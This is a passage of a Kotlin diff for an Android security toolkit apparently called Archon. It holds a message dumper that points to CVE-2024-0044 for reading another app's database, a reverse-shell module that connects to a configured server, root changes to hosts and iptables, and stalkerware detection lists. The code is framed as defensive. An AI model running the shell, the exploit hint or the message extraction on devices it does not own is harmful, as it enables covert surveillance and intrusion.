"No messages retrieved. For RCS, ensure Archon is the default SMS app " +
"or use CVE-2024-0044 to access bugle_db from the app's UID."
} else {
"Retrieved ${messages.size} messages. RCS messages require elevated access."
}
// Write decrypted dump to file
if (messages.isNotEmpty()) {
try {
val json = org.json.JSONArray()
for (msg in messages) {
val obj = org.json.JSONObject()
for ((k, v) in msg) obj.put(k, v)
json.put(obj)
}
executeCommand("mkdir -p $stagingDir")
val jsonStr = json.toString(2)
// Write via shell since we may not have direct file access
val escaped = jsonStr.replace("'", "'\\''").replace("\"", "\\\"")
executeCommand("echo '$escaped' > $stagingDir/messages.json 2>/dev/null")
result["json_path"] = "$stagingDir/messages.json"
} catch (e: Exception) {
Log.e(TAG, "Failed to write JSON dump", e)
}
}
return result
}
/**
* Get the RCS account/registration info from Google Messages.
* This tells us if RCS is active, what phone number is registered, etc.
*/
fun getRcsAccountInfo(): Map<String, Any> {
val info = mutableMapOf<String, Any>()
// IMS registration state
val imsOutput = executeCommand("dumpsys telephony_ims 2>/dev/null")
if (!imsOutput.startsWith("ERROR")) {
info["ims_dump_length"] = imsOutput.length
for (line in imsOutput.lines()) {
val l = line.trim().lowercase()
if ("registered" in l && "ims" in l) info["ims_registered"] = true
if ("rcs" in l && ("enabled" in l || "connected" in l)) info["rcs_enabled"] = true
}
}
// Carrier config RCS keys
val ccOutput = executeCommand("dumpsys carrier_config 2>/dev/null")
val rcsConfig = mutableMapOf<String, String>()
for (line in ccOutput.lines()) {
val l = line.trim().lowercase()
if (("rcs" in l || "uce" in l || "single_registration" in l) && "=" in line) {
val (k, v) = line.trim().split("=", limit = 2)
rcsConfig[k.trim()] = v.trim()
}
}
info["carrier_rcs_config"] = rcsConfig
// Google Messages specific RCS settings
val gmsgPrefs = executeCommand(
"cat /data/data/$gmsgPkg/shared_prefs/com.google.android.apps.messaging_preferences.xml 2>/dev/null"
)
if (!gmsgPrefs.startsWith("ERROR") && gmsgPrefs.isNotBlank()) {
// Extract RCS-related prefs
val rcsPrefs = mutableMapOf<String, String>()
for (match in Regex("<(string|boolean|int|long)\\s+name=\"([^\"]*rcs[^\"]*)\">([^<]*)<").findAll(gmsgPrefs, 0)) {
rcsPrefs[match.groupValues[2]] = match.groupValues[3]
}
info["gmsg_rcs_prefs"] = rcsPrefs
}
// Phone number / MSISDN
val phoneOutput = executeCommand("service call iphonesubinfo 15 2>/dev/null")
info["phone_service_response"] = phoneOutput.take(200)
// Google Messages version
info["google_messages"] = getGoogleMessagesInfo()
return info
}
/**
* Parse a `content query` output row into a map.
*/
private fun parseContentRow(line: String): MutableMap<String, Any> {
val row = mutableMapOf<String, Any>()
val payload = line.substringAfter(Regex("Row:\\s*\\d+\\s*").find(line)?.value ?: "")
val fields = payload.split(Regex(",\\s+(?=[a-zA-Z_]+=)"))
for (field in fields) {
val eqPos = field.indexOf('=')
if (eqPos == -1) continue
val key = field.substring(0, eqPos).trim()
val value = field.substring(eqPos + 1).trim()
row[key] = if (value == "NULL") "" else value
}
return row
}
}

View File

@@ -0,0 +1,38 @@
package com.darkhal.archon.module
import android.content.Context
/**
* Interface for Archon extension modules.
* Modules provide security/privacy actions that run through PrivilegeManager.
*/
interface ArchonModule {
val id: String
val name: String
val description: String
val version: String
fun getActions(): List<ModuleAction>
fun executeAction(actionId: String, context: Context): ModuleResult
fun getStatus(context: Context): ModuleStatus
}
data class ModuleAction(
val id: String,
val name: String,
val description: String,
val privilegeRequired: Boolean = true,
val rootOnly: Boolean = false
)
data class ModuleResult(
val success: Boolean,
val output: String,
val details: List<String> = emptyList()
)
data class ModuleStatus(
val active: Boolean,
val summary: String,
val details: Map<String, String> = emptyMap()
)

View File

@@ -0,0 +1,330 @@
package com.darkhal.archon.module
import android.content.Context
import com.darkhal.archon.util.PrivilegeManager
/**
* Tracking Honeypot module — blocks ad trackers, resets IDs, fakes device fingerprints.
* Ported from AUTARCH core/android_protect.py honeypot section.
*
* Tier 1: ADB-level (no root) — ad ID, DNS, scanning, diagnostics
* Tier 2: ADB-level (app-specific) — restrict trackers, revoke perms, clear data
* Tier 3: Root only — hosts blocklist, iptables, fake location, randomize identity
*/
class HoneypotModule : ArchonModule {
override val id = "honeypot"
override val name = "Tracking Honeypot"
override val description = "Block trackers & fake device fingerprint data"
override val version = "1.0"
// Well-known tracker packages
private val knownTrackers = listOf(
"com.google.android.gms", // Google Play Services (partial)
"com.facebook.katana", // Facebook
"com.facebook.orca", // Messenger
"com.instagram.android", // Instagram
"com.zhiliaoapp.musically", // TikTok
"com.twitter.android", // Twitter/X
"com.snapchat.android", // Snapchat
"com.amazon.mShop.android.shopping", // Amazon
)
override fun getActions(): List<ModuleAction> = listOf(
// Tier 1: ADB-level, no root
ModuleAction("reset_ad_id", "Reset Ad ID", "Delete and regenerate advertising ID"),
ModuleAction("opt_out_tracking", "Opt Out Tracking", "Enable limit_ad_tracking system setting"),
ModuleAction("set_private_dns", "Set Private DNS", "Configure DNS-over-TLS (blocks tracker domains)"),
ModuleAction("disable_scanning", "Disable Scanning", "Turn off WiFi/BLE background scanning"),
ModuleAction("disable_diagnostics", "Disable Diagnostics", "Stop sending crash/usage data to Google"),
ModuleAction("harden_all", "Harden All (Tier 1)", "Apply all Tier 1 protections at once"),
// Tier 2: ADB-level, app-specific
ModuleAction("restrict_trackers", "Restrict Trackers", "Deny background activity for known trackers"),
ModuleAction("revoke_tracker_perms", "Revoke Tracker Perms", "Remove location/phone/contacts from trackers"),
ModuleAction("force_stop_trackers", "Force Stop Trackers", "Kill all known tracker apps"),
// Tier 3: Root only
ModuleAction("deploy_hosts", "Deploy Hosts Blocklist", "Block tracker domains via /etc/hosts", rootOnly = true),
ModuleAction("setup_iptables", "Setup Iptables Redirect", "Redirect tracker traffic to honeypot", rootOnly = true),
ModuleAction("randomize_identity", "Randomize Identity", "Change android_id and device fingerprint", rootOnly = true),
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
return when (actionId) {
"reset_ad_id" -> resetAdId()
"opt_out_tracking" -> optOutTracking()
"set_private_dns" -> setPrivateDns()
"disable_scanning" -> disableScanning()
"disable_diagnostics" -> disableDiagnostics()
"harden_all" -> hardenAll()
"restrict_trackers" -> restrictTrackers()
"revoke_tracker_perms" -> revokeTrackerPerms()
"force_stop_trackers" -> forceStopTrackers()
"deploy_hosts" -> deployHostsBlocklist()
"setup_iptables" -> setupIptablesRedirect()
"randomize_identity" -> randomizeIdentity()
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
val method = PrivilegeManager.getAvailableMethod()
val tier = when (method) {
PrivilegeManager.Method.ROOT -> "Tier 1-3 (full)"
PrivilegeManager.Method.ARCHON_SERVER,
PrivilegeManager.Method.LOCAL_ADB,
PrivilegeManager.Method.SERVER_ADB -> "Tier 1-2 (ADB)"
PrivilegeManager.Method.NONE -> "Unavailable"
}
return ModuleStatus(
active = method != PrivilegeManager.Method.NONE,
summary = "Available: $tier"
)
}
// ── Tier 1: ADB-level, system-wide ──────────────────────────────
private fun resetAdId(): ModuleResult {
val cmds = listOf(
"settings delete secure advertising_id",
"settings put secure limit_ad_tracking 1",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Advertising ID reset, tracking limited"
)
}
private fun optOutTracking(): ModuleResult {
val cmds = listOf(
"settings put secure limit_ad_tracking 1",
"settings put global are_app_usage_stats_enabled 0",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Ad tracking opt-out enabled"
)
}
private fun setPrivateDns(): ModuleResult {
val provider = "dns.adguard-dns.com" // AdGuard DNS blocks trackers
val cmds = listOf(
"settings put global private_dns_mode hostname",
"settings put global private_dns_specifier $provider",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Private DNS set to $provider (tracker blocking)"
)
}
private fun disableScanning(): ModuleResult {
val cmds = listOf(
"settings put global wifi_scan_always_enabled 0",
"settings put global ble_scan_always_enabled 0",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "WiFi/BLE background scanning disabled"
)
}
private fun disableDiagnostics(): ModuleResult {
val cmds = listOf(
"settings put global send_action_app_error 0",
"settings put secure send_action_app_error 0",
"settings put global upload_apk_enable 0",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Diagnostics and crash reporting disabled"
)
}
private fun hardenAll(): ModuleResult {
val actions = listOf(
"Ad ID" to ::resetAdId,
"Tracking" to ::optOutTracking,
"DNS" to ::setPrivateDns,
"Scanning" to ::disableScanning,
"Diagnostics" to ::disableDiagnostics,
)
val details = mutableListOf<String>()
var success = true
for ((name, action) in actions) {
val result = action()
details.add("$name: ${result.output}")
if (!result.success) success = false
}
return ModuleResult(
success = success,
output = "Applied ${actions.size} Tier 1 protections",
details = details
)
}
// ── Tier 2: ADB-level, app-specific ─────────────────────────────
private fun restrictTrackers(): ModuleResult {
val details = mutableListOf<String>()
var restricted = 0
for (pkg in knownTrackers) {
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
if (check.stdout.contains(pkg)) {
val r = PrivilegeManager.execute("cmd appops set $pkg RUN_IN_BACKGROUND deny")
if (r.exitCode == 0) {
restricted++
details.add("Restricted: $pkg")
}
}
}
return ModuleResult(
success = true,
output = "$restricted tracker(s) restricted from background",
details = details
)
}
private fun revokeTrackerPerms(): ModuleResult {
val dangerousPerms = listOf(
"android.permission.ACCESS_FINE_LOCATION",
"android.permission.ACCESS_COARSE_LOCATION",
"android.permission.READ_PHONE_STATE",
"android.permission.READ_CONTACTS",
"android.permission.RECORD_AUDIO",
"android.permission.CAMERA",
)
val details = mutableListOf<String>()
var totalRevoked = 0
for (pkg in knownTrackers) {
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
if (!check.stdout.contains(pkg)) continue
var pkgRevoked = 0
for (perm in dangerousPerms) {
val r = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
if (r.exitCode == 0) pkgRevoked++
}
if (pkgRevoked > 0) {
totalRevoked += pkgRevoked
details.add("$pkg: revoked $pkgRevoked permissions")
}
}
return ModuleResult(
success = true,
output = "Revoked $totalRevoked permissions from trackers",
details = details
)
}
private fun forceStopTrackers(): ModuleResult {
val details = mutableListOf<String>()
var stopped = 0
for (pkg in knownTrackers) {
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
if (check.stdout.contains(pkg)) {
PrivilegeManager.execute("am force-stop $pkg")
stopped++
details.add("Stopped: $pkg")
}
}
return ModuleResult(
success = true,
output = "$stopped tracker(s) force-stopped",
details = details
)
}
// ── Tier 3: Root only ───────────────────────────────────────────
private fun deployHostsBlocklist(): ModuleResult {
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
return ModuleResult(false, "Root access required for hosts file modification")
}
val trackerDomains = listOf(
"graph.facebook.com", "pixel.facebook.com", "an.facebook.com",
"analytics.google.com", "adservice.google.com", "pagead2.googlesyndication.com",
"analytics.tiktok.com", "log.byteoversea.com",
"graph.instagram.com",
"ads-api.twitter.com", "analytics.twitter.com",
"tr.snapchat.com", "sc-analytics.appspot.com",
)
val hostsEntries = trackerDomains.joinToString("\n") { "0.0.0.0 $it" }
val cmds = listOf(
"mount -o remount,rw /system 2>/dev/null || true",
"cp /system/etc/hosts /system/etc/hosts.bak 2>/dev/null || true",
"echo '# AUTARCH Honeypot blocklist\n$hostsEntries' >> /system/etc/hosts",
"mount -o remount,ro /system 2>/dev/null || true",
)
for (cmd in cmds) {
PrivilegeManager.execute(cmd)
}
return ModuleResult(
success = true,
output = "Deployed ${trackerDomains.size} tracker blocks to /system/etc/hosts"
)
}
private fun setupIptablesRedirect(): ModuleResult {
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
return ModuleResult(false, "Root access required for iptables")
}
val cmds = listOf(
"iptables -t nat -N AUTARCH_HONEYPOT 2>/dev/null || true",
"iptables -t nat -F AUTARCH_HONEYPOT",
// Redirect known tracker IPs to localhost (honeypot)
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 157.240.0.0/16 -j REDIRECT --to-port 8443",
"iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 31.13.0.0/16 -j REDIRECT --to-port 8443",
"iptables -t nat -A OUTPUT -j AUTARCH_HONEYPOT",
)
val details = mutableListOf<String>()
for (cmd in cmds) {
val r = PrivilegeManager.execute(cmd)
if (r.exitCode == 0) details.add("OK: ${cmd.take(60)}")
}
return ModuleResult(
success = true,
output = "Iptables honeypot chain configured",
details = details
)
}
private fun randomizeIdentity(): ModuleResult {
if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) {
return ModuleResult(false, "Root access required for identity randomization")
}
val randomId = (1..16).map { "0123456789abcdef".random() }.joinToString("")
val cmds = listOf(
"settings put secure android_id $randomId",
"settings delete secure advertising_id",
"settings put secure limit_ad_tracking 1",
)
val details = mutableListOf<String>()
for (cmd in cmds) {
val r = PrivilegeManager.execute(cmd)
details.add("${if (r.exitCode == 0) "OK" else "FAIL"}: ${cmd.take(50)}")
}
return ModuleResult(
success = true,
output = "Identity randomized (android_id=$randomId)",
details = details
)
}
}

View File

@@ -0,0 +1,41 @@
package com.darkhal.archon.module
import android.content.Context
import android.util.Log
/**
* Central registry for Archon modules.
* Modules register at init time and can be discovered/invoked by the UI.
*/
object ModuleManager {
private const val TAG = "ModuleManager"
private val modules = mutableListOf<ArchonModule>()
private var initialized = false
fun init() {
if (initialized) return
register(ShieldModule())
register(HoneypotModule())
register(ReverseShellModule())
initialized = true
Log.i(TAG, "Initialized with ${modules.size} modules")
}
fun register(module: ArchonModule) {
if (modules.none { it.id == module.id }) {
modules.add(module)
Log.i(TAG, "Registered module: ${module.id} (${module.name})")
}
}
fun getAll(): List<ArchonModule> = modules.toList()
fun get(id: String): ArchonModule? = modules.find { it.id == id }
fun executeAction(moduleId: String, actionId: String, context: Context): ModuleResult {
val module = get(moduleId)
?: return ModuleResult(false, "Module not found: $moduleId")
return module.executeAction(actionId, context)
}
}

View File

@@ -0,0 +1,274 @@
package com.darkhal.archon.module
import android.content.Context
import android.util.Log
import com.darkhal.archon.service.LocalAdbClient
import com.darkhal.archon.util.PrefsManager
import java.io.BufferedReader
import java.io.InputStreamReader
import java.io.OutputStreamWriter
import java.io.PrintWriter
import java.net.InetSocketAddress
import java.net.Socket
import java.util.UUID
/**
* Reverse Shell module — connects back to the AUTARCH server for remote device management.
*
* SAFETY GATES:
* 1. Disabled by default — must be explicitly enabled
* 2. Three warning prompts before enabling (enforced in UI)
* 3. Kill switch — disconnect at any time from app or by force-stopping
* 4. Audit log — all commands logged at /data/local/tmp/archon_shell.log
* 5. Auto-timeout — connection drops after configurable time (default 30 min)
* 6. Server verification — only connects to configured AUTARCH server IP
* 7. Token auth — random token per session
*
* The shell process (ArchonShell.java) runs via app_process at UID 2000,
* same as ArchonServer. It connects OUTBOUND to AUTARCH's RevShellListener.
*/
class ReverseShellModule : ArchonModule {
override val id = "revshell"
override val name = "Reverse Shell"
override val description = "Remote shell connection to AUTARCH server for device investigation"
override val version = "1.0"
companion object {
private const val TAG = "ReverseShellModule"
private const val PREFS_NAME = "archon_revshell"
private const val KEY_ENABLED = "revshell_enabled"
private const val KEY_WARNING_ACCEPTED = "revshell_warnings_accepted"
private const val KEY_PORT = "revshell_port"
private const val KEY_TIMEOUT = "revshell_timeout_min"
private const val KEY_SESSION_TOKEN = "revshell_session_token"
private const val DEFAULT_PORT = 17322
private const val DEFAULT_TIMEOUT = 30 // minutes
private const val SHELL_PROCESS_NAME = "archon_shell"
// Warning messages shown before enabling (UI enforces showing all 3)
val WARNINGS = listOf(
"This enables a reverse shell connection to your AUTARCH server. " +
"This gives remote shell access (UID 2000) to this device.",
"Only enable this on devices YOU own. Never enable on someone else's device. " +
"This is a defensive tool for investigating threats on your own phone.",
"The reverse shell will connect to your configured AUTARCH server. " +
"You can disable it at any time from this screen or by force-stopping the app."
)
}
override fun getActions(): List<ModuleAction> = listOf(
ModuleAction("enable", "Enable", "Accept warnings and enable reverse shell", privilegeRequired = false),
ModuleAction("disable", "Disable", "Disable reverse shell and kill active connections", privilegeRequired = false),
ModuleAction("connect", "Connect", "Start reverse shell to AUTARCH server"),
ModuleAction("disconnect", "Disconnect", "Stop active reverse shell"),
ModuleAction("status", "Status", "Check connection status", privilegeRequired = false),
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
return when (actionId) {
"enable" -> enable(context)
"disable" -> disable(context)
"connect" -> connect(context)
"disconnect" -> disconnect(context)
"status" -> status(context)
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
val enabled = prefs.getBoolean(KEY_ENABLED, false)
val connected = isShellRunning()
val summary = when {
connected -> "Connected to AUTARCH"
enabled -> "Enabled — not connected"
else -> "Disabled"
}
return ModuleStatus(
active = connected,
summary = summary,
details = mapOf(
"enabled" to enabled.toString(),
"connected" to connected.toString(),
"port" to prefs.getInt(KEY_PORT, DEFAULT_PORT).toString(),
"timeout" to "${prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)} min"
)
)
}
// ── Actions ─────────────────────────────────────────────────────
private fun enable(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
// Check if warnings were accepted (UI sets this after showing all 3)
if (!prefs.getBoolean(KEY_WARNING_ACCEPTED, false)) {
return ModuleResult(
false,
"Warnings not accepted. Use the UI to enable — all 3 safety warnings must be acknowledged.",
WARNINGS
)
}
prefs.edit().putBoolean(KEY_ENABLED, true).apply()
Log.i(TAG, "Reverse shell ENABLED")
return ModuleResult(true, "Reverse shell enabled. Use 'connect' to start a session.")
}
private fun disable(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
// Kill any active shell first
if (isShellRunning()) {
killShell()
}
prefs.edit()
.putBoolean(KEY_ENABLED, false)
.putBoolean(KEY_WARNING_ACCEPTED, false)
.remove(KEY_SESSION_TOKEN)
.apply()
Log.i(TAG, "Reverse shell DISABLED")
return ModuleResult(true, "Reverse shell disabled. All connections terminated.")
}
private fun connect(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
if (!prefs.getBoolean(KEY_ENABLED, false)) {
return ModuleResult(false, "Reverse shell is disabled. Enable it first.")
}
if (isShellRunning()) {
return ModuleResult(false, "Shell is already connected. Disconnect first.")
}
// Get server IP from main prefs
val serverIp = PrefsManager.getServerIp(context)
if (serverIp.isEmpty()) {
return ModuleResult(false, "No AUTARCH server IP configured. Set it in Settings.")
}
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
// Generate session token
val token = UUID.randomUUID().toString().replace("-", "").take(32)
prefs.edit().putString(KEY_SESSION_TOKEN, token).apply()
// Get APK path for app_process bootstrap
val apkPath = context.applicationInfo.sourceDir
if (apkPath.isNullOrEmpty()) {
return ModuleResult(false, "Could not determine APK path")
}
// Build bootstrap command (no --nice-name — causes abort on GrapheneOS/some ROMs)
val bootstrapCmd = buildString {
append("TMPDIR=/data/local/tmp ")
append("CLASSPATH='$apkPath' ")
append("/system/bin/app_process /system/bin ")
append("com.darkhal.archon.server.ArchonShell ")
append("$serverIp $port $token $timeout")
}
val fullCmd = "nohup sh -c \"$bootstrapCmd\" >> /data/local/tmp/archon_shell.log 2>&1 & echo started"
Log.i(TAG, "Starting reverse shell to $serverIp:$port (timeout: ${timeout}m)")
// Execute via LocalAdbClient (same as ArchonServer bootstrap)
val result = if (LocalAdbClient.isConnected()) {
LocalAdbClient.execute(fullCmd)
} else {
return ModuleResult(false, "No ADB connection — pair via Wireless Debugging first")
}
if (result.exitCode != 0 && !result.stdout.contains("started")) {
return ModuleResult(false, "Failed to start shell: ${result.stderr}")
}
// Wait briefly for connection to establish
Thread.sleep(2000)
return if (isShellRunning()) {
ModuleResult(true, "Connected to $serverIp:$port (timeout: ${timeout}m)")
} else {
ModuleResult(false, "Shell process started but may not have connected yet. Check server logs.")
}
}
private fun disconnect(context: Context): ModuleResult {
if (!isShellRunning()) {
return ModuleResult(true, "No active shell connection")
}
killShell()
context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
.edit().remove(KEY_SESSION_TOKEN).apply()
Thread.sleep(500)
return if (!isShellRunning()) {
ModuleResult(true, "Shell disconnected")
} else {
ModuleResult(false, "Shell process may still be running — try force-stopping the app")
}
}
private fun status(context: Context): ModuleResult {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
val enabled = prefs.getBoolean(KEY_ENABLED, false)
val connected = isShellRunning()
val serverIp = PrefsManager.getServerIp(context)
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
val details = mutableListOf<String>()
details.add("Enabled: $enabled")
details.add("Connected: $connected")
details.add("Server: $serverIp:$port")
details.add("Timeout: ${timeout} minutes")
if (connected) {
// Try to read the log tail
val logTail = try {
val p = Runtime.getRuntime().exec(arrayOf("sh", "-c", "tail -5 /data/local/tmp/archon_shell.log 2>/dev/null"))
p.inputStream.bufferedReader().readText().trim()
} catch (e: Exception) { "" }
if (logTail.isNotEmpty()) {
details.add("--- Recent log ---")
details.add(logTail)
}
}
return ModuleResult(
success = true,
output = if (connected) "Connected to $serverIp:$port" else if (enabled) "Enabled — not connected" else "Disabled",
details = details
)
}
// ── Internal ────────────────────────────────────────────────────
private fun isShellRunning(): Boolean {
return try {
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", "pgrep -f $SHELL_PROCESS_NAME"))
val output = process.inputStream.bufferedReader().readText().trim()
process.waitFor()
output.isNotEmpty()
} catch (e: Exception) {
false
}
}
private fun killShell() {
try {
Runtime.getRuntime().exec(arrayOf("sh", "-c", "pkill -f $SHELL_PROCESS_NAME"))
Log.i(TAG, "Killed reverse shell process")
} catch (e: Exception) {
Log.e(TAG, "Failed to kill shell", e)
}
}
}

View File

@@ -0,0 +1,319 @@
package com.darkhal.archon.module
import android.content.Context
import com.darkhal.archon.util.PrivilegeManager
/**
* Protection Shield module — scans for and removes stalkerware/spyware.
* Ported from AUTARCH core/android_protect.py.
*
* All commands run through PrivilegeManager → ArchonServer (UID 2000).
*/
class ShieldModule : ArchonModule {
override val id = "shield"
override val name = "Protection Shield"
override val description = "Scan & remove stalkerware, spyware, and surveillance tools"
override val version = "1.0"
// Known stalkerware/spyware package patterns
private val stalkerwarePatterns = listOf(
"mspy", "flexispy", "cocospy", "spyzie", "hoverwatch", "eyezy",
"pctattoetool", "thewispy", "umobix", "xnspy", "cerberus",
"trackview", "spyera", "mobile.tracker", "spy.phone", "phone.monitor",
"gps.tracker.spy", "spyapp", "phonetracker", "stalkerware",
"keylogger", "screenrecorder.secret", "hidden.camera",
"com.android.providers.telephony.backup", // Fake system package
"com.system.service", "com.android.system.manager", // Common disguises
)
// Suspicious permissions that stalkerware typically uses
private val suspiciousPerms = listOf(
"android.permission.READ_CALL_LOG",
"android.permission.READ_SMS",
"android.permission.READ_CONTACTS",
"android.permission.RECORD_AUDIO",
"android.permission.CAMERA",
"android.permission.ACCESS_FINE_LOCATION",
"android.permission.READ_EXTERNAL_STORAGE",
"android.permission.BIND_ACCESSIBILITY_SERVICE",
"android.permission.BIND_DEVICE_ADMIN",
"android.permission.PACKAGE_USAGE_STATS",
"android.permission.SYSTEM_ALERT_WINDOW",
)
override fun getActions(): List<ModuleAction> = listOf(
ModuleAction("full_scan", "Full Scan", "Run all security scans"),
ModuleAction("scan_packages", "Scan Packages", "Check installed apps against stalkerware database"),
ModuleAction("scan_permissions", "Scan Permissions", "Find apps with suspicious permission combos"),
ModuleAction("scan_device_admins", "Scan Device Admins", "List active device administrators"),
ModuleAction("scan_accessibility", "Scan Accessibility", "Check enabled accessibility services"),
ModuleAction("scan_certificates", "Scan Certificates", "Check for user-installed CA certificates"),
ModuleAction("scan_network", "Scan Network", "Check proxy, DNS, VPN settings"),
ModuleAction("disable_app", "Disable App", "Disable a suspicious package (pm disable-user)"),
ModuleAction("uninstall_app", "Uninstall App", "Uninstall a suspicious package"),
ModuleAction("revoke_permissions", "Revoke Permissions", "Revoke dangerous permissions from a package"),
ModuleAction("remove_device_admin", "Remove Device Admin", "Remove an active device admin component"),
ModuleAction("clear_proxy", "Clear Proxy", "Remove HTTP proxy settings"),
ModuleAction("remove_certificate", "Remove Certificate", "Remove a user-installed CA certificate"),
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
return when {
actionId == "full_scan" -> fullScan(context)
actionId == "scan_packages" -> scanPackages()
actionId == "scan_permissions" -> scanPermissions()
actionId == "scan_device_admins" -> scanDeviceAdmins()
actionId == "scan_accessibility" -> scanAccessibility()
actionId == "scan_certificates" -> scanCertificates()
actionId == "scan_network" -> scanNetwork()
actionId == "disable_app" -> ModuleResult(false, "Specify package: use disable_app:<package>")
actionId == "uninstall_app" -> ModuleResult(false, "Specify package: use uninstall_app:<package>")
actionId == "clear_proxy" -> clearProxy()
actionId.startsWith("disable_app:") -> disableApp(actionId.substringAfter(":"))
actionId.startsWith("uninstall_app:") -> uninstallApp(actionId.substringAfter(":"))
actionId.startsWith("revoke_permissions:") -> revokePermissions(actionId.substringAfter(":"))
actionId.startsWith("remove_device_admin:") -> removeDeviceAdmin(actionId.substringAfter(":"))
actionId.startsWith("remove_certificate:") -> removeCertificate(actionId.substringAfter(":"))
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
return ModuleStatus(
active = PrivilegeManager.isReady(),
summary = if (PrivilegeManager.isReady()) "Ready to scan" else "Needs privilege setup"
)
}
// ── Scan actions ────────────────────────────────────────────────
private fun fullScan(context: Context): ModuleResult {
val results = mutableListOf<String>()
var threats = 0
val scans = listOf(
"Packages" to ::scanPackages,
"Permissions" to ::scanPermissions,
"Device Admins" to ::scanDeviceAdmins,
"Accessibility" to ::scanAccessibility,
"Certificates" to ::scanCertificates,
"Network" to ::scanNetwork,
)
for ((name, scan) in scans) {
val result = scan()
results.add("=== $name ===")
results.add(result.output)
if (result.details.isNotEmpty()) {
threats += result.details.size
results.addAll(result.details)
}
}
return ModuleResult(
success = true,
output = if (threats > 0) "$threats potential threat(s) found" else "No threats detected",
details = results
)
}
private fun scanPackages(): ModuleResult {
val result = PrivilegeManager.execute("pm list packages")
if (result.exitCode != 0) {
return ModuleResult(false, "Failed to list packages: ${result.stderr}")
}
val packages = result.stdout.lines()
.filter { it.startsWith("package:") }
.map { it.removePrefix("package:") }
val found = mutableListOf<String>()
for (pkg in packages) {
val lower = pkg.lowercase()
for (pattern in stalkerwarePatterns) {
if (lower.contains(pattern)) {
found.add("[!] $pkg (matches: $pattern)")
break
}
}
}
return ModuleResult(
success = true,
output = "Scanned ${packages.size} packages, ${found.size} suspicious",
details = found
)
}
private fun scanPermissions(): ModuleResult {
// Get packages with dangerous permissions
val result = PrivilegeManager.execute(
"pm list packages -f | head -500"
)
if (result.exitCode != 0) {
return ModuleResult(false, "Failed: ${result.stderr}")
}
val packages = result.stdout.lines()
.filter { it.startsWith("package:") }
.map { it.substringAfterLast("=") }
.take(200) // Limit for performance
val suspicious = mutableListOf<String>()
for (pkg in packages) {
val dump = PrivilegeManager.execute("dumpsys package $pkg 2>/dev/null | grep 'android.permission' | head -30")
if (dump.exitCode != 0) continue
val perms = dump.stdout.lines().map { it.trim() }
val dangerousCount = perms.count { line ->
suspiciousPerms.any { perm -> line.contains(perm) }
}
if (dangerousCount >= 5) {
suspicious.add("[!] $pkg has $dangerousCount suspicious permissions")
}
}
return ModuleResult(
success = true,
output = "Checked permissions on ${packages.size} packages, ${suspicious.size} suspicious",
details = suspicious
)
}
private fun scanDeviceAdmins(): ModuleResult {
val result = PrivilegeManager.execute("dumpsys device_policy 2>/dev/null | grep -A 2 'Admin\\|DeviceAdminInfo'")
if (result.exitCode != 0 && result.stdout.isEmpty()) {
return ModuleResult(true, "No device admins found or could not query", emptyList())
}
val admins = result.stdout.lines().filter { it.isNotBlank() }
return ModuleResult(
success = true,
output = "${admins.size} device admin entries found",
details = admins.map { it.trim() }
)
}
private fun scanAccessibility(): ModuleResult {
val result = PrivilegeManager.execute("settings get secure enabled_accessibility_services")
val services = result.stdout.trim()
return if (services.isNotEmpty() && services != "null") {
val list = services.split(":").filter { it.isNotBlank() }
ModuleResult(
success = true,
output = "${list.size} accessibility service(s) enabled",
details = list.map { "[!] $it" }
)
} else {
ModuleResult(true, "No accessibility services enabled", emptyList())
}
}
private fun scanCertificates(): ModuleResult {
val result = PrivilegeManager.execute("ls /data/misc/user/0/cacerts-added/ 2>/dev/null")
return if (result.exitCode == 0 && result.stdout.isNotBlank()) {
val certs = result.stdout.lines().filter { it.isNotBlank() }
ModuleResult(
success = true,
output = "${certs.size} user-installed CA certificate(s)",
details = certs.map { "[!] Certificate: $it" }
)
} else {
ModuleResult(true, "No user-installed CA certificates", emptyList())
}
}
private fun scanNetwork(): ModuleResult {
val findings = mutableListOf<String>()
// Check HTTP proxy
val proxy = PrivilegeManager.execute("settings get global http_proxy").stdout.trim()
if (proxy.isNotEmpty() && proxy != "null" && proxy != ":0") {
findings.add("[!] HTTP proxy set: $proxy")
}
// Check private DNS
